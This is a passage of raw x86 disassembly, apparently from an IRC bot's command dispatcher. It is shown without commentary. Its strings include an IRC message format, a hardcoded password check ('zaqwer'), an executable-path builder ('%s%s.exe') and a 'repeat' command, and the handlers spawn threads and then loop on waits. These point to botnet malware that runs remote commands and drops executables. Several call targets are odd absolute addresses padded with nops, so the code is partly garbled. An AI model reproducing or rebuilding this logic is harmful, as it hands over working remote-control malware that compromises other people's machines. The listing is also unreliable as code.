		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A36:				; CODE XREF: sub_401ACD+5E8Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_407A63:				; CODE XREF: sub_401ACD+4ED2j
					; sub_401ACD+4EE9j
		push	[ebp+arg_10]
		call	dword_4CB694
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAE0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset byte_40C669
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407B45


loc_407B2F:				; CODE XREF: sub_401ACD+6076j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_407B2F
; ---------------------------------------------------------------------------


loc_407B45:				; CODE XREF: sub_401ACD+6060j
		call	near ptr 2680932h
		nop
		push	eax
		push	offset unk_42ABD4
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407B56:				; CODE XREF: sub_401ACD+4EA4j
					; sub_401ACD+4EBBj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AB
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407C42


loc_407C2C:				; CODE XREF: sub_401ACD+6173j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_407C2C
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_401ACD+615Dj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42AA60
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407C53:				; CODE XREF: sub_401ACD+4E76j
					; sub_401ACD+4E8Dj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB2
; ---------------------------------------------------------------------------


loc_407CAC:				; CODE XREF: sub_401ACD+61C9j
		mov	[ebp+var_2668],	ebx


loc_407CB2:				; CODE XREF: sub_401ACD+61DDj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC9
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCF
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_401ACD+61EBj
		mov	[ebp+var_266C],	ebx


loc_407CCF:				; CODE XREF: sub_401ACD+61FAj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA34
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407D80


loc_407D6A:				; CODE XREF: sub_401ACD+62B1j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_407D6A
; ---------------------------------------------------------------------------


loc_407D80:				; CODE XREF: sub_401ACD+629Bj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42A9F4
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407D91:				; CODE XREF: sub_401ACD+4E48j
					; sub_401ACD+4E5Fj
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A9B8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset word_414A92
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407E68


loc_407E52:				; CODE XREF: sub_401ACD+6399j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407279
		push	32h
		call	near ptr 2670EC7h
		nop
		jmp	short loc_407E52
; ---------------------------------------------------------------------------


loc_407E68:				; CODE XREF: sub_401ACD+6383j
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42A980
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407E79:				; CODE XREF: sub_401ACD+4D1Bj
					; sub_401ACD+4D32j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A950
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset byte_4137CD
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407F50


loc_407F3A:				; CODE XREF: sub_401ACD+6481j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_407F3A
; ---------------------------------------------------------------------------


loc_407F50:				; CODE XREF: sub_401ACD+646Bj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42A918
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407F61:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A8E8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset dword_412A54
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408049


loc_408033:				; CODE XREF: sub_401ACD+657Aj
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_408033
; ---------------------------------------------------------------------------


loc_408049:				; CODE XREF: sub_401ACD+6564j
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42A8B0
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_40805A:				; CODE XREF: sub_401ACD+4BC4j
					; sub_401ACD+4BDBj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A5
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A5:				; CODE XREF: sub_401ACD+65C4j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A880
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408131


loc_40811B:				; CODE XREF: sub_401ACD+6662j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDF
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_40811B
; ---------------------------------------------------------------------------


loc_408131:				; CODE XREF: sub_401ACD+664Cj
		call	near ptr 2680932h
		nop
		push	eax
		push	offset dword_42A844
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408142:				; CODE XREF: sub_401ACD+4B84j
					; sub_401ACD+4B9Bj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408235
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A818
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset word_412E9E
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408224


loc_408212:				; CODE XREF: sub_401ACD+6755j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828C
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_408212
; ---------------------------------------------------------------------------


loc_408224:				; CODE XREF: sub_401ACD+6743j
		call	near ptr 2680932h
		nop
		push	eax
		push	offset unk_42A7E0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_408235:				; CODE XREF: sub_401ACD+6684j
		push	offset unk_42A7A8
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40823F:				; CODE XREF: sub_401ACD+4B56j
					; sub_401ACD+4B6Dj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 26A0BBDh
		test	eax, eax
		jz	short loc_40826C
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A784
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828C
; ---------------------------------------------------------------------------


loc_40826C:				; CODE XREF: sub_401ACD+677Ej
		push	offset dword_42A778
		call	sub_41814D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408289:				; CODE XREF: sub_401ACD+2F2Bj
					; sub_401ACD+5570j
		add	esp, 0Ch


loc_40828C:				; CODE XREF: sub_401ACD+2137j
					; sub_401ACD+2ECDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A9:				; CODE XREF: sub_401ACD+57C7j
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4082B6:				; CODE XREF: sub_401ACD+4B28j
					; sub_401ACD+4B3Fj
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082F0
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082F0
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082F0:				; CODE XREF: sub_401ACD+6803j
					; sub_401ACD+6812j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A748
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset word_416CAE
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4083A2


loc_408390:				; CODE XREF: sub_401ACD+68D3j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BD
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_408390
; ---------------------------------------------------------------------------


loc_4083A2:				; CODE XREF: sub_401ACD+68C1j
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42A70C


loc_4083AE:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BD:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4083C5:				; CODE XREF: sub_401ACD+4AFAj
					; sub_401ACD+4B11j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408404
		mov	[ebp+var_638], 5


loc_408404:				; CODE XREF: sub_401ACD+692Cj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDF
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2660BFCh
		test	eax, eax
		jnz	short loc_40844D
		push	offset unk_42A6E8
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40844D:				; CODE XREF: sub_401ACD+6974j
		push	edi
		push	offset dword_42A6CC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408458:				; CODE XREF: sub_401ACD+4ACCj
					; sub_401ACD+4AE3j
		push	edi
		push	offset aZaqwer	; "zaqwer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D1
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	near ptr 26A0000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD81
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084ED
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F3
; ---------------------------------------------------------------------------


loc_4084ED:				; CODE XREF: sub_401ACD+6A0Aj
		mov	[ebp+var_23C0],	ebx


loc_4084F3:				; CODE XREF: sub_401ACD+6A1Ej
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40850A
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408510
; ---------------------------------------------------------------------------


loc_40850A:				; CODE XREF: sub_401ACD+6A2Cj
		mov	[ebp+var_23C4],	ebx


loc_408510:				; CODE XREF: sub_401ACD+6A3Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A694
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4085C0


loc_4085AA:				; CODE XREF: sub_401ACD+6AF1j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDF
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_4085AA
; ---------------------------------------------------------------------------


loc_4085C0:				; CODE XREF: sub_401ACD+6ADBj
		call	near ptr 2680932h
		nop
		push	eax
		push	offset dword_42A658
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4085D1:				; CODE XREF: sub_401ACD+699Aj
		push	offset dword_42A610


loc_4085D6:				; CODE XREF: sub_401ACD+2E74j
					; sub_401ACD+457Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_4085E9:				; CODE XREF: sub_401ACD+4A9Ej
					; sub_401ACD+4AB5j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408674
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2670EC7h


loc_408674:				; CODE XREF: sub_401ACD+6B8Fj
		push	offset dword_42A5EC
		call	sub_4151AD
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408688:				; CODE XREF: sub_401ACD+4A70j
					; sub_401ACD+4A87j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408746
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A5D4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408746:				; CODE XREF: sub_401ACD+6BFBj
		push	offset unk_42A5A0


loc_40874B:				; CODE XREF: sub_401ACD+7543j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40875A:				; CODE XREF: sub_401ACD+74CBj
					; sub_401ACD+7624j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877B
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40877B:				; CODE XREF: sub_401ACD+6C90j
					; sub_401ACD+72C8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40878C:				; CODE XREF: sub_401ACD+4A42j
					; sub_401ACD+4A59j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_42A56C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
